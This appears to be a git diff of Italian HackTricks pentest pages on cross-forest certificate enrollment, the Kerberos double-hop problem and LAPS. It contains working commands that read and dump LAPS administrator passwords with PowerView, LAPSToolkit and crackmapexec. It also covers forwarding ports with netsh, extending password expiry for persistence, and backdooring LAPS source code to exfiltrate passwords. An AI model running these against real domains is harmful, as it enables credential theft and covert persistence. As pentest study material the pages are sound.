La configurazione per l'**iscrizione tra foreste** è resa relativamente semplice. Il **certificato CA radice** della foresta delle risorse viene **pubblicato nelle foreste degli account** dagli amministratori, e i **certificati CA aziendali** della foresta delle risorse vengono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ogni foresta degli account**. Per chiarire, questo accordo concede al **CA nella foresta delle risorse il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questo CA viene **compromesso dagli attaccanti**, potrebbero essere **falsificati certificati per tutti gli utenti sia nella foresta delle risorse che nella foresta degli account**, violando così il confine di sicurezza della foresta.
|
||||
La configurazione per **l'iscrizione tra foreste** è resa relativamente semplice. Il **certificato CA radice** della foresta delle risorse è **pubblicato nelle foreste degli account** dagli amministratori, e i **certificati CA aziendali** della foresta delle risorse sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta degli account**. Per chiarire, questo accordo concede al **CA nella foresta delle risorse il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questo CA viene **compromesso dagli attaccanti**, i certificati per tutti gli utenti sia nella foresta delle risorse che in quelle degli account potrebbero essere **falsificati da loro**, violando così il confine di sicurezza della foresta.
|
||||
|
||||
### Privilegi di Iscrizione Concessi a Principali Esterni
|
||||
|
||||
In ambienti multi-foresta, è necessaria cautela riguardo ai CA aziendali che **pubblicano modelli di certificati** che consentono l'**iscrizione e la modifica da parte di Utenti Autenticati o principali esterni** (utenti/gruppi esterni alla foresta a cui appartiene il CA aziendale).\
|
||||
Dopo l'autenticazione attraverso una trust, l'**SID degli Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede un CA aziendale con un modello che **consente agli Utenti Autenticati di iscriversi**, potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione vengono esplicitamente concessi a un principale esterno da un modello**, viene creata una **relazione di controllo degli accessi tra foreste**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**.
|
||||
In ambienti multi-foresta, è necessaria cautela riguardo ai CA aziendali che **pubblicano modelli di certificato** che consentono agli **Utenti Autenticati o a principali esterni** (utenti/gruppi esterni alla foresta a cui appartiene il CA aziendale) **diritti di iscrizione e modifica**.\
|
||||
All'autenticazione attraverso una trust, il **SID degli Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede un CA aziendale con un modello che **consente agli Utenti Autenticati di iscriversi**, potenzialmente un modello potrebbe essere **iscritto da un utente proveniente da una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione vengono esplicitamente concessi a un principale esterno da un modello**, viene così creato un **rapporto di controllo degli accessi tra foreste**, consentendo a un principale di una foresta di **iscriversi a un modello proveniente da un'altra foresta**.
|
||||
|
||||
Entrambi gli scenari portano a un **aumento della superficie di attacco** da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio esterno.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Entrambe le situazioni portano a un **aumento della superficie di attacco** da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio esterno.
|
||||
|
|
|
@ -2,41 +2,45 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**PEASS & HackTricks swag ufficiale**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Introduzione
|
||||
|
||||
Il problema del "doppio salto" di Kerberos si verifica quando un attaccante cerca di utilizzare l'autenticazione **Kerberos** attraverso due **salti**, ad esempio utilizzando **PowerShell**/**WinRM**.
|
||||
Il problema del "doppio salto" di Kerberos si verifica quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **salti**, ad esempio utilizzando **PowerShell**/**WinRM**.
|
||||
|
||||
Quando si verifica un'**autenticazione** tramite **Kerberos**, le **credenziali** non vengono memorizzate nella **memoria**. Pertanto, se si esegue mimikatz, non si troveranno le credenziali dell'utente nella macchina, anche se sta eseguendo processi.
|
||||
Quando avviene un'**autenticazione** tramite **Kerberos**, le **credenziali** **non vengono** memorizzate in **memoria**. Pertanto, se esegui mimikatz non **troverai le credenziali** dell'utente nella macchina anche se sta eseguendo processi.
|
||||
|
||||
Ciò accade perché durante la connessione con Kerberos si verificano i seguenti passaggi:
|
||||
Ciò avviene perché quando ci si connette con Kerberos, avvengono i seguenti passaggi:
|
||||
|
||||
1. L'utente1 fornisce le credenziali e il **domain controller** restituisce un **TGT** di Kerberos all'utente1.
|
||||
2. L'utente1 utilizza il **TGT** per richiedere un **service ticket** per **connettersi** al Server1.
|
||||
3. L'utente1 si **connette** al **Server1** e fornisce il **service ticket**.
|
||||
4. Il **Server1** non ha le credenziali dell'utente1 memorizzate né il **TGT** dell'utente1. Pertanto, quando l'utente1 da Server1 tenta di effettuare il login su un secondo server, non riesce ad autenticarsi.
|
||||
1. User1 fornisce le credenziali e il **domain controller** restituisce un **TGT** di Kerberos a User1.
|
||||
2. User1 utilizza il **TGT** per richiedere un **service ticket** per **connettersi** a Server1.
|
||||
3. User1 si **connette** a **Server1** e fornisce il **service ticket**.
|
||||
4. **Server1** **non** ha le **credenziali** di User1 in cache o il **TGT** di User1. Pertanto, quando User1 da Server1 tenta di accedere a un secondo server, non è in grado di autenticarsi.
|
||||
|
||||
### Delega non vincolata
|
||||
|
||||
Se la **delega non vincolata** è abilitata nel PC, ciò non accadrà poiché il **Server** otterrà un **TGT** di ogni utente che vi accede. Inoltre, se viene utilizzata la delega non vincolata, è probabile che si possa **compromettere il Domain Controller** da essa.\
|
||||
Se la **delega non vincolata** è abilitata nel PC, ciò non accadrà poiché il **Server** otterrà un **TGT** di ciascun utente che vi accede. Inoltre, se viene utilizzata la delega non vincolata, è probabile che si possa **compromettere il Domain Controller** da essa.\
|
||||
[**Ulteriori informazioni nella pagina sulla delega non vincolata**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
Un altro modo per evitare questo problema, che è [**notoriamente insicuro**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), è **Credential Security Support Provider**. Secondo Microsoft:
|
||||
Un altro modo per evitare questo problema, che è [**notoriamente insicuro**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), è il **Credential Security Support Provider**. Da Microsoft:
|
||||
|
||||
> L'autenticazione CredSSP delega le credenziali dell'utente dal computer locale a un computer remoto. Questa pratica aumenta il rischio di sicurezza dell'operazione remota. Se il computer remoto viene compromesso, quando le credenziali vengono trasmesse ad esso, le credenziali possono essere utilizzate per controllare la sessione di rete.
|
||||
> L'autenticazione CredSSP delega le credenziali dell'utente dal computer locale a un computer remoto. Questa pratica aumenta il rischio di sicurezza dell'operazione remota. Se il computer remoto viene compromesso, quando le credenziali vengono passate ad esso, le credenziali possono essere utilizzate per controllare la sessione di rete.
|
||||
|
||||
Si consiglia vivamente di disabilitare **CredSSP** nei sistemi di produzione, nelle reti sensibili e in ambienti simili a causa di problemi di sicurezza. Per determinare se **CredSSP** è abilitato, è possibile eseguire il comando `Get-WSManCredSSP`. Questo comando consente di **verificare lo stato di CredSSP** e può essere eseguito anche in remoto, a condizione che **WinRM** sia abilitato.
|
||||
Si consiglia vivamente di disabilitare **CredSSP** nei sistemi di produzione, nelle reti sensibili e in ambienti simili a causa di preoccupazioni per la sicurezza. Per determinare se **CredSSP** è abilitato, è possibile eseguire il comando `Get-WSManCredSSP`. Questo comando consente di **verificare lo stato di CredSSP** e può essere eseguito anche in remoto, a condizione che **WinRM** sia abilitato.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
|
@ -44,50 +48,50 @@ Get-WSManCredSSP
|
|||
```
|
||||
## Soluzioni alternative
|
||||
|
||||
### Invoke Command
|
||||
### Eseguire il comando
|
||||
|
||||
Per affrontare il problema del doppio salto, viene presentato un metodo che coinvolge un `Invoke-Command` annidato. Questo non risolve direttamente il problema, ma offre una soluzione alternativa senza la necessità di configurazioni speciali. L'approccio consente di eseguire un comando (`hostname`) su un server secondario tramite un comando PowerShell eseguito da una macchina di attacco iniziale o tramite una sessione PS precedentemente stabilita con il primo server. Ecco come si fa:
|
||||
Per affrontare il problema del doppio salto, viene presentato un metodo che coinvolge un `Invoke-Command` nidificato. Questo non risolve direttamente il problema ma offre una soluzione alternativa senza la necessità di configurazioni speciali. L'approccio consente di eseguire un comando (`hostname`) su un server secondario tramite un comando PowerShell eseguito da una macchina di attacco iniziale o tramite una sessione PS precedentemente stabilita con il primo server. Ecco come si fa:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
In alternativa, si suggerisce di stabilire una PS-Session con il primo server ed eseguire il comando `Invoke-Command` utilizzando `$cred` per centralizzare le attività.
|
||||
In alternativa, è consigliato stabilire una sessione PS con il primo server ed eseguire il `Invoke-Command` utilizzando `$cred` per centralizzare i compiti.
|
||||
|
||||
### Registrare la configurazione di PSSession
|
||||
### Registrare la configurazione della sessione PS
|
||||
|
||||
Una soluzione per bypassare il problema del doppio hop consiste nell'utilizzare `Register-PSSessionConfiguration` con `Enter-PSSession`. Questo metodo richiede un approccio diverso rispetto a `evil-winrm` e consente di avere una sessione che non soffre della limitazione del doppio hop.
|
||||
Una soluzione per bypassare il problema del doppio salto coinvolge l'utilizzo di `Register-PSSessionConfiguration` con `Enter-PSSession`. Questo metodo richiede un approccio diverso rispetto a `evil-winrm` e consente una sessione che non soffre del limite del doppio salto.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### PortForwarding
|
||||
### InoltroPorte
|
||||
|
||||
Per gli amministratori locali su un target intermedio, il port forwarding consente di inviare richieste a un server finale. Utilizzando `netsh`, è possibile aggiungere una regola per il port forwarding, insieme a una regola del firewall di Windows per consentire la porta inoltrata.
|
||||
Per gli amministratori locali su un target intermedio, l'inoltro porte consente di inviare richieste a un server finale. Utilizzando `netsh`, è possibile aggiungere una regola per l'inoltro porte, insieme a una regola del firewall di Windows per consentire la porta inoltrata.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe` può essere utilizzato per inoltrare le richieste di WinRM, potenzialmente come opzione meno rilevabile se la sorveglianza di PowerShell è una preoccupazione. Il comando di seguito ne dimostra l'utilizzo:
|
||||
`winrs.exe` può essere utilizzato per inoltrare le richieste WinRM, potenzialmente come opzione meno rilevabile se preoccupa il monitoraggio di PowerShell. Il comando di seguito ne dimostra l'uso:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
L'installazione di OpenSSH sul primo server consente una soluzione alternativa per il problema del doppio hop, particolarmente utile per scenari di jump box. Questo metodo richiede l'installazione e la configurazione della CLI di OpenSSH per Windows. Quando configurato per l'autenticazione tramite password, ciò consente al server intermedio di ottenere un TGT per conto dell'utente.
|
||||
L'installazione di OpenSSH sul primo server consente di aggirare il problema del doppio hop, particolarmente utile per scenari di jump box. Questo metodo richiede l'installazione e la configurazione della CLI di OpenSSH per Windows. Quando configurato per l'Autenticazione con Password, ciò consente al server intermedio di ottenere un TGT per conto dell'utente.
|
||||
|
||||
#### Passaggi per l'installazione di OpenSSH
|
||||
|
||||
1. Scaricare e spostare il file zip dell'ultima versione di OpenSSH sul server di destinazione.
|
||||
2. Decomprimere ed eseguire lo script `Install-sshd.ps1`.
|
||||
2. Estrarre e eseguire lo script `Install-sshd.ps1`.
|
||||
3. Aggiungere una regola del firewall per aprire la porta 22 e verificare che i servizi SSH siano in esecuzione.
|
||||
|
||||
Per risolvere gli errori di "Connessione resettata", potrebbe essere necessario aggiornare i permessi per consentire a tutti di leggere ed eseguire l'accesso alla directory di OpenSSH.
|
||||
Per risolvere gli errori di `Connection reset`, potrebbe essere necessario aggiornare i permessi per consentire a tutti l'accesso in lettura ed esecuzione alla directory di OpenSSH.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -98,14 +102,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Ottieni il [**PEASS & HackTricks swag ufficiale**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Local Administrator Password Solution (LAPS) è uno strumento utilizzato per gestire un sistema in cui le **password degli amministratori**, che sono **univoche, casuali e cambiate frequentemente**, vengono applicate ai computer associati al dominio. Queste password vengono memorizzate in modo sicuro all'interno di Active Directory e sono accessibili solo agli utenti a cui è stata concessa l'autorizzazione tramite le Access Control Lists (ACL). La sicurezza delle trasmissioni delle password dal client al server è garantita dall'utilizzo di **Kerberos versione 5** e **Advanced Encryption Standard (AES)**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Negli oggetti computer del dominio, l'implementazione di LAPS comporta l'aggiunta di due nuovi attributi: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Questi attributi memorizzano rispettivamente la **password dell'amministratore in testo normale** e il **tempo di scadenza**.
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Local Administrator Password Solution (LAPS) è uno strumento utilizzato per gestire un sistema in cui le **password degli amministratori**, che sono **uniche, casuali e cambiate frequentemente**, vengono applicate ai computer connessi al dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e sono accessibili solo agli utenti a cui è stata concessa l'autorizzazione tramite le Liste di Controllo Accessi (ACL). La sicurezza delle trasmissioni delle password dal client al server è garantita dall'uso di **Kerberos versione 5** e **Advanced Encryption Standard (AES)**.
|
||||
|
||||
Negli oggetti computer del dominio, l'implementazione di LAPS comporta l'aggiunta di due nuovi attributi: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Questi attributi memorizzano rispettivamente la **password dell'amministratore in testo normale** e **il suo tempo di scadenza**.
|
||||
|
||||
### Verifica se attivato
|
||||
```bash
|
||||
|
@ -31,11 +36,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
|
|||
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
|
||||
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
|
||||
```
|
||||
### Accesso alla password LAPS
|
||||
### Accesso alla password di LAPS
|
||||
|
||||
È possibile **scaricare la policy LAPS grezza** da `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` e quindi utilizzare **`Parse-PolFile`** dal pacchetto [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) per convertire questo file in un formato leggibile dall'essere umano.
|
||||
Potresti **scaricare la policy LAPS grezza** da `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` e poi utilizzare **`Parse-PolFile`** dal pacchetto [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) per convertire questo file in un formato leggibile dall'essere umano.
|
||||
|
||||
Inoltre, è possibile utilizzare i **cmdlet nativi di PowerShell di LAPS** se sono installati su una macchina a cui abbiamo accesso:
|
||||
Inoltre, i **cmdlet nativi di LAPS PowerShell** possono essere utilizzati se sono installati su una macchina a cui abbiamo accesso:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -56,7 +61,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|||
# Read the password
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView** può essere utilizzato anche per scoprire **chi può leggere la password e leggerla**:
|
||||
**PowerView** può anche essere utilizzato per scoprire **chi può leggere la password e leggerla**:
|
||||
```powershell
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
@ -66,9 +71,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
Il [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita l'enumerazione di LAPS con diverse funzioni.\
|
||||
Una di queste è l'analisi dei **`ExtendedRights`** per **tutti i computer con LAPS abilitato**. Questo mostrerà i **gruppi** specificamente **delegati alla lettura delle password LAPS**, che spesso sono utenti in gruppi protetti.\
|
||||
Un **account** che ha **unito un computer** a un dominio riceve `All Extended Rights` su quel computer, e questo diritto dà all'**account** la capacità di **leggere le password**. L'enumerazione può mostrare un account utente che può leggere la password LAPS su un computer. Questo può aiutarci a **individuare utenti specifici di AD** che possono leggere le password LAPS.
|
||||
Il [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita l'enumerazione di LAPS con diverse funzioni. Uno di questi è il parsing di **`ExtendedRights`** per **tutti i computer con LAPS abilitato**. Questo mostrerà i **gruppi** specificamente **delegati alla lettura delle password LAPS**, che spesso sono utenti in gruppi protetti. Un **account** che ha **unito un computer** a un dominio riceve `All Extended Rights` su quell'host, e questo diritto dà all'**account** la capacità di **leggere le password**. L'enumerazione può mostrare un account utente che può leggere la password LAPS su un host. Questo può aiutarci a **individuare utenti AD specifici** che possono leggere le password LAPS.
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -92,18 +95,16 @@ ComputerName Password Expiration
|
|||
------------ -------- ----------
|
||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Dumping LAPS Passwords With Crackmapexec**
|
||||
Se non si ha accesso a PowerShell, è possibile sfruttare questo privilegio in remoto tramite LDAP utilizzando
|
||||
## **Dumping Password LAPS con Crackmapexec**
|
||||
Se non si ha accesso a un powershell, è possibile abusare di questo privilegio in remoto tramite LDAP utilizzando
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
Questo permetterà di ottenere tutte le password che l'utente può leggere, consentendoti di ottenere un punto di appoggio migliore con un utente diverso.
|
||||
|
||||
## **Persistenza LAPS**
|
||||
|
||||
### **Data di scadenza**
|
||||
### **Data di Scadenza**
|
||||
|
||||
Una volta ottenuti i privilegi di amministratore, è possibile **ottenere le password** e **impedire** a una macchina di **aggiornare** la sua **password** impostando la data di scadenza nel futuro.
|
||||
Una volta ottenuti i privilegi di amministratore, è possibile **ottenere le password** e **impedire** a una macchina di **aggiornare** la sua **password** impostando la data di scadenza **in futuro**.
|
||||
```powershell
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
@ -113,26 +114,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
La password verrà comunque reimpostata se un **amministratore** utilizza il cmdlet **`Reset-AdmPwdPassword`**; o se è abilitata l'opzione **Non consentire un tempo di scadenza della password più lungo di quanto richiesto dalla policy** nella GPO di LAPS.
|
||||
La password verrà comunque reimpostata se un **amministratore** utilizza il cmdlet **`Reset-AdmPwdPassword`**; o se **Non consentire un tempo di scadenza della password più lungo del necessario secondo la policy** è abilitato nella GPO di LAPS.
|
||||
{% endhint %}
|
||||
|
||||
### Backdoor
|
||||
|
||||
Il codice sorgente originale di LAPS può essere trovato [qui](https://github.com/GreyCorbel/admpwd), quindi è possibile inserire un backdoor nel codice (ad esempio all'interno del metodo `Get-AdmPwdPassword` in `Main/AdmPwd.PS/Main.cs`) che in qualche modo **esfiltrerà le nuove password o le memorizzerà da qualche parte**.
|
||||
Il codice sorgente originale per LAPS può essere trovato [qui](https://github.com/GreyCorbel/admpwd), quindi è possibile inserire un backdoor nel codice (all'interno del metodo `Get-AdmPwdPassword` in `Main/AdmPwd.PS/Main.cs` ad esempio) che in qualche modo **esfiltrerà nuove password o le memorizzerà da qualche parte**.
|
||||
|
||||
